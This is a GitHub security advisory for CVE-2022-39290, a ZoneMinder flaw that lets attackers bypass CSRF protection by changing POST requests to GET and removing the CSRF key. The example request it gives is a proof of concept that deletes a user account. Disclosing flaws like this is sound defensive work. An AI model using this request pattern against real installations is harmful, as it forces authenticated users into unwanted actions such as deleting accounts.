ZoneMinder / **zoneminder** Public

Code Issues 123 Pull requests 9 Actions Projects Wiki ...

CSRF Key Bypass Using HTTP Methods

High **connortechnology** published **GHSA-xgv6-qv6c-399q** on Oct 7

Package

zoneminder (ZoneMinder)

Affected versions	Patched versions
<= 1.36.26, <= 1.37.23	1.36.27, 1.37.24

Description

Authenticated users can bypass CSRF keys by modifying the request supplied to the Zoneminder web application. These modifications include replacing HTTP POST with an HTTP GET and removing the CSRF key from the request.

Impact

An attacker can take advantage of this by using an HTTP GET request to perform actions with no CSRF protection. This could allow an attacker to cause an authenticated user to perform unexpected actions on the web application.

Example Request

```
GET /zm/index.php?view=options&tab=users&action=delete&markUids%5B%5D=13&deleteBtn=Delete
HTTP/1.1
Host: 10.0.10.107
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Origin: http://10.0.10.107
Connection: close
Referer: http://10.0.10.107/zm/index.php?view=options&tab=users
Cookie: zmSkin=classic; zmCSS=base; zmLogsTable.bs.table.sortOrder=desc;
zmLogsTable.bs.table.sortName=Message; zmLogsTable.bs.table.pageNumber=1;
ZMSESSID=24u3uv4ed55n04f73slbu95pm9
Upgrade-Insecure-Requests: 1
```

Patches

[`c0a4c05`]

Workarounds

None, please upgrade

References

https://www.trenchesofit.com/2022/09/30/3260/

For more information

If you have any questions or comments about this advisory:

- Open an issue in https://github.com/ZoneMinder/zoneminder
- Email us at info@zoneminder.com

Severity

High 8.0 / 10

CVSS base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	Low
User interaction	Required
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	High

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

CVE ID

CVE-2022-39290

Weaknesses

CWE-285

Credits

trenchesofit